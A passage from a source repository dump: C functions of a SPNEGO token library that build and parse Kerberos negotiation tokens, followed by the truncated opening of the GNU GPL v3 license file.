MechToken data can be NULL - if not, it 109 | // must correspond to the MechType. MechListMIC can also be NULL. 110 | // Returned data structure must be freed by calling spnegoFreeData(). 111 | // 112 | //////////////////////////////////////////////////////////////////////////// 113 | 114 | int spnegoCreateNegTokenInit(SPNEGO_MECH_OID MechType, 115 | unsigned char ucContextFlags, unsigned char* pbMechToken, 116 | unsigned long ulMechTokenLen, unsigned char* pbMechListMIC, 117 | unsigned long ulMechListMICLen, SPNEGO_TOKEN_HANDLE* phSpnegoToken) 118 | { 119 | int nReturn = SPNEGO_E_INVALID_PARAMETER; 120 | long nTokenLength = 0L; 121 | long nInternalTokenLength = 0L; 122 | unsigned char* pbTokenData = NULL; 123 | SPNEGO_TOKEN** ppSpnegoToken = (SPNEGO_TOKEN * *)phSpnegoToken; 124 | 125 | if (NULL != ppSpnegoToken && 126 | IsValidMechOid(MechType) && 127 | IsValidContextFlags(ucContextFlags)) 128 | { 129 | // Get the actual token size 130 | 131 | if ((nReturn = CalculateMinSpnegoInitTokenSize(ulMechTokenLen, ulMechListMICLen, 132 | MechType, (ucContextFlags != 0L), 133 | &nTokenLength, &nInternalTokenLength)) 134 | == SPNEGO_E_SUCCESS) 135 | { 136 | // Allocate a buffer to hold the data. 137 | pbTokenData = calloc(1, nTokenLength); 138 | 139 | if (NULL != pbTokenData) 140 | { 141 | 142 | // Now write the token 143 | if ((nReturn = CreateSpnegoInitToken(MechType, 144 | ucContextFlags, pbMechToken, 145 | ulMechTokenLen, pbMechListMIC, 146 | ulMechListMICLen, pbTokenData, 147 | nTokenLength, nInternalTokenLength)) 148 | == SPNEGO_E_SUCCESS) 149 | { 150 | 151 | // This will copy our allocated pointer, and ensure that the sructure cleans 152 | // up the data later 153 | nReturn = InitTokenFromBinary(SPNEGO_TOKEN_INTERNAL_COPYPTR, 154 | SPNEGO_TOKEN_INTERNAL_FLAGS_FREEDATA, 155 | pbTokenData, nTokenLength, ppSpnegoToken); 156 | 157 | } 158 | 159 | // Cleanup on failure 160 | if (SPNEGO_E_SUCCESS != nReturn) 161 | { 162 | free(pbTokenData); 163 | } 164 | 165 | } // IF alloc succeeded 166 | else 167 | { 168 | nReturn = SPNEGO_E_OUT_OF_MEMORY; 169 | } 170 | 171 | } // If calculated token size 172 | 173 | } // IF Valid Parameters 174 | 175 | return nReturn; 176 | } 177 | 178 | ///////////////////////////////////////////////////////////////////////////// 179 | // 180 | // Function: 181 | // spnegoCreateNegTokenTarg 182 | // 183 | // Parameters: 184 | // [in] MechType - MechType to specify in supported MechType element 185 | // [in] spnegoNegResult - NegResult value 186 | // [in] pbMechToken - Pointer to response MechToken Data 187 | // [in] ulMechTokenLen - Length of MechToken Data 188 | // [in] pbMechListMIC - Pointer to binary MechListMIC Data 189 | // [in] ulMechListMICLen - Length of MechListMIC Data 190 | // [out] phSpnegoToken - SPNEGO_TOKEN_HANDLE pointer 191 | // 192 | // Returns: 193 | // int Success - SPNEGO_E_SUCCESS 194 | // Failure - SPNEGO API Error code 195 | // 196 | // Comments : 197 | // Initializes a SPNEGO_TOKEN_HANDLE for a NegTokenTarg type 198 | // from the supplied parameters. MechToken data can be NULL - if not, 199 | // it must correspond to the MechType. MechListMIC can also be NULL. 200 | // Returned data structure must be freed by calling spnegoFreeData(). 201 | // 202 | //////////////////////////////////////////////////////////////////////////// 203 | 204 | int spnegoCreateNegTokenTarg(SPNEGO_MECH_OID MechType, 205 | SPNEGO_NEGRESULT spnegoNegResult, unsigned char* pbMechToken, 206 | unsigned long ulMechTokenLen, unsigned char* pbMechListMIC, 207 | unsigned long ulMechListMICLen, SPNEGO_TOKEN_HANDLE* phSpnegoToken) 208 | { 209 | int nReturn = SPNEGO_E_INVALID_PARAMETER; 210 | long nTokenLength = 0L; 211 | long nInternalTokenLength = 0L; 212 | unsigned char* pbTokenData = NULL; 213 | SPNEGO_TOKEN** ppSpnegoToken = (SPNEGO_TOKEN * *)phSpnegoToken; 214 | 215 | // 216 | // spnego_mech_oid_NotUsed and spnego_negresult_NotUsed 217 | // are okay here, however a valid MechOid is required 218 | // if spnego_negresult_success or spnego_negresult_incomplete 219 | // is specified. 220 | // 221 | 222 | if (NULL != ppSpnegoToken && 223 | 224 | (IsValidMechOid(MechType) || 225 | spnego_mech_oid_NotUsed == MechType) && 226 | 227 | (IsValidNegResult(spnegoNegResult) || 228 | spnego_negresult_NotUsed == spnegoNegResult) && 229 | 230 | !(!IsValidMechOid(MechType) && 231 | (spnego_negresult_success == spnegoNegResult || 232 | spnego_negresult_incomplete == spnegoNegResult))) 233 | { 234 | 235 | // Get the actual token size 236 | 237 | if ((nReturn = CalculateMinSpnegoTargTokenSize(MechType, spnegoNegResult, ulMechTokenLen, 238 | ulMechListMICLen, &nTokenLength, 239 | &nInternalTokenLength)) 240 | == SPNEGO_E_SUCCESS) 241 | { 242 | // Allocate a buffer to hold the data. 243 | pbTokenData = calloc(1, nTokenLength); 244 | 245 | if (NULL != pbTokenData) 246 | { 247 | 248 | // Now write the token 249 | if ((nReturn = CreateSpnegoTargToken(MechType, 250 | spnegoNegResult, pbMechToken, 251 | ulMechTokenLen, pbMechListMIC, 252 | ulMechListMICLen, pbTokenData, 253 | nTokenLength, nInternalTokenLength)) 254 | == SPNEGO_E_SUCCESS) 255 | { 256 | 257 | // This will copy our allocated pointer, and ensure that the sructure cleans 258 | // up the data later 259 | nReturn = InitTokenFromBinary(SPNEGO_TOKEN_INTERNAL_COPYPTR, 260 | SPNEGO_TOKEN_INTERNAL_FLAGS_FREEDATA, 261 | pbTokenData, nTokenLength, ppSpnegoToken); 262 | 263 | } 264 | 265 | // Cleanup on failure 266 | if (SPNEGO_E_SUCCESS != nReturn) 267 | { 268 | free(pbTokenData); 269 | } 270 | 271 | } // IF alloc succeeded 272 | else 273 | { 274 | nReturn = SPNEGO_E_OUT_OF_MEMORY; 275 | } 276 | 277 | } // If calculated token size 278 | 279 | } // IF Valid Parameters 280 | 281 | return nReturn; 282 | } 283 | 284 | ///////////////////////////////////////////////////////////////////////////// 285 | // 286 | // Function: 287 | // spnegoTokenGetBinary 288 | // 289 | // Parameters: 290 | // [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE 291 | // [out] pbTokenData - Buffer to copy token into 292 | // [in/out] pulDataLen - Length of pbTokenData buffer, filled out 293 | // with actual size used upon function return. 294 | // 295 | // Returns: 296 | // int Success - SPNEGO_E_SUCCESS 297 | // Failure - SPNEGO API Error code 298 | // 299 | // Comments : 300 | // Copies binary SPNEGO token data from hSpnegoToken into the user 301 | // supplied buffer. If pbTokenData is NULL, or the value in pulDataLen 302 | // is too small, the function will return SPNEGO_E_BUFFER_TOO_SMALL and 303 | // fill out pulDataLen with the minimum required buffer size. 304 | // 305 | //////////////////////////////////////////////////////////////////////////// 306 | 307 | int spnegoTokenGetBinary(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pbTokenData, 308 | unsigned long* pulDataLen) 309 | { 310 | int nReturn = SPNEGO_E_INVALID_PARAMETER; 311 | SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken; 312 | 313 | // Check parameters - pbTokenData is optional 314 | if (IsValidSpnegoToken(pSpnegoToken) && 315 | NULL != pulDataLen) 316 | { 317 | 318 | // Check for Buffer too small conditions 319 | if (NULL == pbTokenData || 320 | pSpnegoToken->ulBinaryDataLen > * pulDataLen) 321 | { 322 | *pulDataLen = pSpnegoToken->ulBinaryDataLen; 323 | nReturn = SPNEGO_E_BUFFER_TOO_SMALL; 324 | } 325 | else 326 | { 327 | memcpy(pbTokenData, pSpnegoToken->pbBinaryData, pSpnegoToken->ulBinaryDataLen); 328 | *pulDataLen = pSpnegoToken->ulBinaryDataLen; 329 | nReturn = SPNEGO_E_SUCCESS; 330 | } 331 | 332 | } // IF parameters OK 333 | 334 | return nReturn;; 335 | } 336 | 337 | ///////////////////////////////////////////////////////////////////////////// 338 | // 339 | // Function: 340 | // spnegoFreeData 341 | // 342 | // Parameters: 343 | // [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE 344 | // 345 | // Returns: 346 | // void 347 | // 348 | // Comments : 349 | // Frees up resources consumed by hSpnegoToken. The supplied data 350 | // pointer is invalidated by this function. 351 | // 352 | //////////////////////////////////////////////////////////////////////////// 353 | 354 | void spnegoFreeData(SPNEGO_TOKEN_HANDLE hSpnegoToken) 355 | { 356 | FreeSpnegoToken((SPNEGO_TOKEN*)hSpnegoToken); 357 | return; 358 | } 359 | 360 | ///////////////////////////////////////////////////////////////////////////// 361 | // 362 | // Function: 363 | // spnegoGetTokenType 364 | // 365 | // Parameters: 366 | // [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE 367 | // [out] piTokenType - Filled out with token type value. 368 | // 369 | // Returns: 370 | // int Success - SPNEGO_E_SUCCESS 371 | // Failure - SPNEGO API Error code 372 | // 373 | // Comments : 374 | // The function will analyze hSpnegoToken and return the appropriate 375 | // type in piTokenType. 376 | // 377 | //////////////////////////////////////////////////////////////////////////// 378 | 379 | int spnegoGetTokenType(SPNEGO_TOKEN_HANDLE hSpnegoToken, int* piTokenType) 380 | { 381 | int nReturn = SPNEGO_E_INVALID_PARAMETER; 382 | SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken; 383 | 384 | // Check parameters 385 | if (IsValidSpnegoToken(pSpnegoToken) && 386 | NULL != piTokenType && 387 | pSpnegoToken) 388 | { 389 | 390 | // Check that the type in the structure makes sense 391 | if (SPNEGO_TOKEN_INIT == pSpnegoToken->ucTokenType || 392 | SPNEGO_TOKEN_TARG == pSpnegoToken->ucTokenType) 393 | { 394 | *piTokenType = pSpnegoToken->ucTokenType; 395 | nReturn = SPNEGO_E_SUCCESS; 396 | } 397 | 398 | } // IF parameters OK 399 | 400 | return nReturn; 401 | } 402 | 403 | ///////////////////////////////////////////////////////////////////////////// 404 | // 405 | // Function: 406 | // spnegoIsMechTypeAvailable 407 | // 408 | // Parameters: 409 | // [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE 410 | // [in] MechOID - MechOID to search MechTypeList for 411 | // [out] piMechTypeIndex - Filled out with index in MechTypeList 412 | // element if MechOID is found. 413 | // 414 | // Returns: 415 | // int Success - SPNEGO_E_SUCCESS 416 | // Failure - SPNEGO API Error code 417 | // 418 | // Comments : 419 | // hSpnegoToken must reference a token of type NegTokenInit. The 420 | // function will search the MechTypeList element for an OID corresponding 421 | // to the specified MechOID. If one is found, the index (0 based) will 422 | // be passed into the piMechTypeIndex parameter. 423 | // 424 | //////////////////////////////////////////////////////////////////////////// 425 | 426 | // Returns the Initial Mech Type in the MechList element in the NegInitToken. 427 | int spnegoIsMechTypeAvailable(SPNEGO_TOKEN_HANDLE hSpnegoToken, SPNEGO_MECH_OID MechOID, int* piMechTypeIndex) 428 | { 429 | int nReturn = SPNEGO_E_INVALID_PARAMETER; 430 | SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken; 431 | 432 | // Check parameters 433 | if (IsValidSpnegoToken(pSpnegoToken) && 434 | NULL != piMechTypeIndex && 435 | IsValidMechOid(MechOID) && 436 | SPNEGO_TOKEN_INIT == pSpnegoToken->ucTokenType) 437 | { 438 | 439 | // Check if MechList is available 440 | if (pSpnegoToken->aElementArray[SPNEGO_INIT_MECHTYPES_ELEMENT].iElementPresent 441 | == SPNEGO_TOKEN_ELEMENT_AVAILABLE) 442 | { 443 | // Locate the MechOID in the list element 444 | nReturn = FindMechOIDInMechList( 445 | &pSpnegoToken->aElementArray[SPNEGO_INIT_MECHTYPES_ELEMENT], 446 | MechOID, piMechTypeIndex); 447 | } 448 | else 449 | { 450 | nReturn = SPNEGO_E_ELEMENT_UNAVAILABLE; 451 | } 452 | 453 | } // IF parameters OK 454 | 455 | return nReturn;; 456 | } 457 | 458 | ///////////////////////////////////////////////////////////////////////////// 459 | // 460 | // Function: 461 | // spnegoGetContextFlags 462 | // 463 | // Parameters: 464 | // [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE 465 | // [out] pucContextFlags - Filled out with ContextFlags value. 466 | // 467 | // Returns: 468 | // int Success - SPNEGO_E_SUCCESS 469 | // Failure - SPNEGO API Error code 470 | // 471 | // Comments : 472 | // hSpnegoToken must reference a token of type NegTokenInit. The 473 | // function will copy data from the ContextFlags element into the 474 | // location pucContextFlags points to. Note that the function will 475 | // fail if the actual ContextFlags data appears invalid. 476 | // 477 | //////////////////////////////////////////////////////////////////////////// 478 | 479 | int spnegoGetContextFlags(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pucContextFlags) 480 | { 481 | int nReturn = SPNEGO_E_INVALID_PARAMETER; 482 | SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken; 483 | 484 | // Check parameters 485 | if (IsValidSpnegoToken(pSpnegoToken) && 486 | NULL != pucContextFlags && 487 | SPNEGO_TOKEN_INIT == pSpnegoToken->ucTokenType) 488 | { 489 | 490 | // Check if ContextFlags is available 491 | if (pSpnegoToken->aElementArray[SPNEGO_INIT_REQFLAGS_ELEMENT].iElementPresent 492 | == SPNEGO_TOKEN_ELEMENT_AVAILABLE) 493 | { 494 | // The length should be two, the value should show a 1 bit difference in the difference byte, and 495 | // the value must be valid 496 | if (pSpnegoToken->aElementArray[SPNEGO_INIT_REQFLAGS_ELEMENT].nDatalength == SPNEGO_NEGINIT_MAXLEN_REQFLAGS && 497 | pSpnegoToken->aElementArray[SPNEGO_INIT_REQFLAGS_ELEMENT].pbData[0] == SPNEGO_NEGINIT_REQFLAGS_BITDIFF && 498 | IsValidContextFlags(pSpnegoToken->aElementArray[SPNEGO_INIT_REQFLAGS_ELEMENT].pbData[1])) 499 | { 500 | *pucContextFlags = pSpnegoToken->aElementArray[SPNEGO_INIT_REQFLAGS_ELEMENT].pbData[1]; 501 | nReturn = SPNEGO_E_SUCCESS; 502 | } 503 | else 504 | { 505 | nReturn = SPNEGO_E_INVALID_ELEMENT; 506 | } 507 | 508 | } 509 | else 510 | { 511 | nReturn = SPNEGO_E_ELEMENT_UNAVAILABLE; 512 | } 513 | 514 | } // IF parameters OK 515 | 516 | return nReturn;; 517 | } 518 | 519 | ///////////////////////////////////////////////////////////////////////////// 520 | // 521 | // Function: 522 | // spnegoGetNegotiationResult 523 | // 524 | // Parameters: 525 | // [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE 526 | // [out] pnegResult - Filled out with NegResult value. 527 | // 528 | // Returns: 529 | // int Success - SPNEGO_E_SUCCESS 530 | // Failure - SPNEGO API Error code 531 | // 532 | // Comments : 533 | // hSpnegoToken must reference a token of type NegTokenTarg. The 534 | // function will copy data from the NegResult element into the 535 | // location pointed to by pnegResult. Note that the function will 536 | // fail if the actual NegResult data appears invalid. 537 | // 538 | //////////////////////////////////////////////////////////////////////////// 539 | 540 | int spnegoGetNegotiationResult(SPNEGO_TOKEN_HANDLE hSpnegoToken, SPNEGO_NEGRESULT* pnegResult) 541 | { 542 | int nReturn = SPNEGO_E_INVALID_PARAMETER; 543 | SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken; 544 | 545 | // Check parameters 546 | if (IsValidSpnegoToken(pSpnegoToken) && 547 | NULL != pnegResult && 548 | SPNEGO_TOKEN_TARG == pSpnegoToken->ucTokenType) 549 | { 550 | 551 | // Check if NegResult is available 552 | if (pSpnegoToken->aElementArray[SPNEGO_TARG_NEGRESULT_ELEMENT].iElementPresent 553 | == SPNEGO_TOKEN_ELEMENT_AVAILABLE) 554 | { 555 | // Must be 1 byte long and a valid value 556 | if (pSpnegoToken->aElementArray[SPNEGO_TARG_NEGRESULT_ELEMENT].nDatalength == SPNEGO_NEGTARG_MAXLEN_NEGRESULT && 557 | IsValidNegResult(*pSpnegoToken->aElementArray[SPNEGO_TARG_NEGRESULT_ELEMENT].pbData)) 558 | { 559 | *pnegResult = *pSpnegoToken->aElementArray[SPNEGO_TARG_NEGRESULT_ELEMENT].pbData; 560 | nReturn = SPNEGO_E_SUCCESS; 561 | } 562 | else 563 | { 564 | nReturn = SPNEGO_E_INVALID_ELEMENT; 565 | } 566 | } 567 | else 568 | { 569 | nReturn = SPNEGO_E_ELEMENT_UNAVAILABLE; 570 | } 571 | 572 | } // IF parameters OK 573 | 574 | return nReturn;; 575 | } 576 | 577 | ///////////////////////////////////////////////////////////////////////////// 578 | // 579 | // Function: 580 | // spnegoGetSupportedMechType 581 | // 582 | // Parameters: 583 | // [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE 584 | // [out] pMechOID - Filled out with Supported MechType value. 585 | // 586 | // Returns: 587 | // int Success - SPNEGO_E_SUCCESS 588 | // Failure - SPNEGO API Error code 589 | // 590 | // Comments : 591 | // hSpnegoToken must reference a token of type NegTokenTarg. The 592 | // function will check the Supported MechType element, and if it 593 | // corresponds to a supported MechType ( spnego_mech_oid_Kerberos_V5_Legacy 594 | // or spnego_mech_oid_Kerberos_V5 ), will set the location pointed 595 | // to by pMechOID equal to the appropriate value. 596 | // 597 | //////////////////////////////////////////////////////////////////////////// 598 | 599 | int spnegoGetSupportedMechType(SPNEGO_TOKEN_HANDLE hSpnegoToken, SPNEGO_MECH_OID* pMechOID) 600 | { 601 | int nReturn = SPNEGO_E_INVALID_PARAMETER; 602 | int nCtr = 0L; 603 | long nLength = 0L; 604 | SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken; 605 | 606 | // Check parameters 607 | if (IsValidSpnegoToken(pSpnegoToken) && 608 | NULL != pMechOID && 609 | SPNEGO_TOKEN_TARG == pSpnegoToken->ucTokenType) 610 | { 611 | 612 | // Check if MechList is available 613 | if (pSpnegoToken->aElementArray[SPNEGO_TARG_SUPPMECH_ELEMENT].iElementPresent 614 | == SPNEGO_TOKEN_ELEMENT_AVAILABLE) 615 | { 616 | 617 | for (nCtr = 0; 618 | nReturn != SPNEGO_E_SUCCESS && 619 | g_stcMechOIDList[nCtr].eMechanismOID != spnego_mech_oid_NotUsed; 620 | nCtr++) 621 | { 622 | 623 | if ((nReturn = ASNDerCheckOID( 624 | pSpnegoToken->aElementArray[SPNEGO_TARG_SUPPMECH_ELEMENT].pbData, 625 | nCtr, 626 | pSpnegoToken->aElementArray[SPNEGO_TARG_SUPPMECH_ELEMENT].nDatalength, 627 | &nLength)) == SPNEGO_E_SUCCESS) 628 | { 629 | *pMechOID = nCtr; 630 | } 631 | 632 | } // For enum MechOIDs 633 | 634 | 635 | } 636 | else 637 | { 638 | nReturn = SPNEGO_E_ELEMENT_UNAVAILABLE; 639 | } 640 | 641 | } // IF parameters OK 642 | 643 | return nReturn;; 644 | } 645 | 646 | ///////////////////////////////////////////////////////////////////////////// 647 | // 648 | // Function: 649 | // spnegoTokenGetMechToken 650 | // 651 | // Parameters: 652 | // [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE 653 | // [out] pbTokenData - Buffer to copy MechToken into 654 | // [in/out] pulDataLen - Length of pbTokenData buffer, filled out 655 | // with actual size used upon function return. 656 | // 657 | // Returns: 658 | // int Success - SPNEGO_E_SUCCESS 659 | // Failure - SPNEGO API Error code 660 | // 661 | // Comments : 662 | // hSpnegoToken can point to either NegTokenInit or a NegTokenTarg token. 663 | // The function will copy the MechToken (the initial MechToken if 664 | // NegTokenInit, the response MechToken if NegTokenTarg) from the 665 | // underlying token into the buffer pointed to by pbTokenData. If 666 | // pbTokenData is NULL, or the value in pulDataLen is too small, the 667 | // function will return SPNEGO_E_BUFFER_TOO_SMALL and fill out pulDataLen 668 | // with the minimum required buffer size. The token can then be passed 669 | // to a GSS-API function for processing. 670 | // 671 | //////////////////////////////////////////////////////////////////////////// 672 | 673 | int spnegoGetMechToken(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pbTokenData, unsigned long* pulDataLen) 674 | { 675 | int nReturn = SPNEGO_E_INVALID_PARAMETER; 676 | SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken; 677 | SPNEGO_ELEMENT* pSpnegoElement = NULL; 678 | 679 | // Check parameters 680 | if (IsValidSpnegoToken(pSpnegoToken) && 681 | NULL != pulDataLen) 682 | { 683 | 684 | // Point at the proper Element 685 | if (SPNEGO_TOKEN_INIT == pSpnegoToken->ucTokenType) 686 | { 687 | pSpnegoElement = &pSpnegoToken->aElementArray[SPNEGO_INIT_MECHTOKEN_ELEMENT]; 688 | } 689 | else 690 | { 691 | pSpnegoElement = &pSpnegoToken->aElementArray[SPNEGO_TARG_RESPTOKEN_ELEMENT]; 692 | } 693 | 694 | // Check if MechType is available 695 | if (SPNEGO_TOKEN_ELEMENT_AVAILABLE == pSpnegoElement->iElementPresent) 696 | { 697 | // Check for Buffer too small conditions 698 | if (NULL == pbTokenData || 699 | pSpnegoElement->nDatalength > * pulDataLen) 700 | { 701 | *pulDataLen = pSpnegoElement->nDatalength; 702 | nReturn = SPNEGO_E_BUFFER_TOO_SMALL; 703 | } 704 | else 705 | { 706 | // Copy Memory 707 | memcpy(pbTokenData, pSpnegoElement->pbData, pSpnegoElement->nDatalength); 708 | *pulDataLen = pSpnegoElement->nDatalength; 709 | nReturn = SPNEGO_E_SUCCESS; 710 | } 711 | } 712 | else 713 | { 714 | nReturn = SPNEGO_E_ELEMENT_UNAVAILABLE; 715 | } 716 | 717 | } // IF parameters OK 718 | 719 | return nReturn;; 720 | } 721 | 722 | ///////////////////////////////////////////////////////////////////////////// 723 | // 724 | // Function: 725 | // spnegoTokenGetMechListMIC 726 | // 727 | // Parameters: 728 | // [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE 729 | // [out] pbTokenData - Buffer to copy MechListMIC data into 730 | // [in/out] pulDataLen - Length of pbTokenData buffer, filled out 731 | // with actual size used upon function return. 732 | // 733 | // Returns: 734 | // int Success - SPNEGO_E_SUCCESS 735 | // Failure - SPNEGO API Error code 736 | // 737 | // Comments : 738 | // hSpnegoToken can point to either NegTokenInit or a NegTokenTarg token. 739 | // The function will copy the MechListMIC data from the underlying token 740 | // into the buffer pointed to by pbTokenData. If pbTokenData is NULL, 741 | // or the value in pulDataLen is too small, the function will return 742 | // SPNEGO_E_BUFFER_TOO_SMALL and fill out pulDataLen with the minimum 743 | // required buffer size. 744 | // 745 | //////////////////////////////////////////////////////////////////////////// 746 | 747 | int spnegoGetMechListMIC(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pbMICData, unsigned long* pulDataLen) 748 | { 749 | int nReturn = SPNEGO_E_INVALID_PARAMETER; 750 | SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken; 751 | SPNEGO_ELEMENT* pSpnegoElement = NULL; 752 | 753 | // Check parameters 754 | if (IsValidSpnegoToken(pSpnegoToken) && 755 | NULL != pulDataLen) 756 | { 757 | 758 | // Point at the proper Element 759 | if (SPNEGO_TOKEN_INIT == pSpnegoToken->ucTokenType) 760 | { 761 | pSpnegoElement = &pSpnegoToken->aElementArray[SPNEGO_INIT_MECHLISTMIC_ELEMENT]; 762 | } 763 | else 764 | { 765 | pSpnegoElement = &pSpnegoToken->aElementArray[SPNEGO_TARG_MECHLISTMIC_ELEMENT]; 766 | } 767 | 768 | // Check if MechType is available 769 | if (SPNEGO_TOKEN_ELEMENT_AVAILABLE == pSpnegoElement->iElementPresent) 770 | { 771 | // Check for Buffer too small conditions 772 | if (NULL == pbMICData || 773 | pSpnegoElement->nDatalength > * pulDataLen) 774 | { 775 | *pulDataLen = pSpnegoElement->nDatalength; 776 | nReturn = SPNEGO_E_BUFFER_TOO_SMALL; 777 | } 778 | else 779 | { 780 | // Copy Memory 781 | memcpy(pbMICData, pSpnegoElement->pbData, pSpnegoElement->nDatalength); 782 | *pulDataLen = pSpnegoElement->nDatalength; 783 | nReturn = SPNEGO_E_SUCCESS; 784 | } 785 | } 786 | else 787 | { 788 | nReturn = SPNEGO_E_ELEMENT_UNAVAILABLE; 789 | } 790 | 791 | } // IF parameters OK 792 | 793 | return nReturn;; 794 | } 795 | 796 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 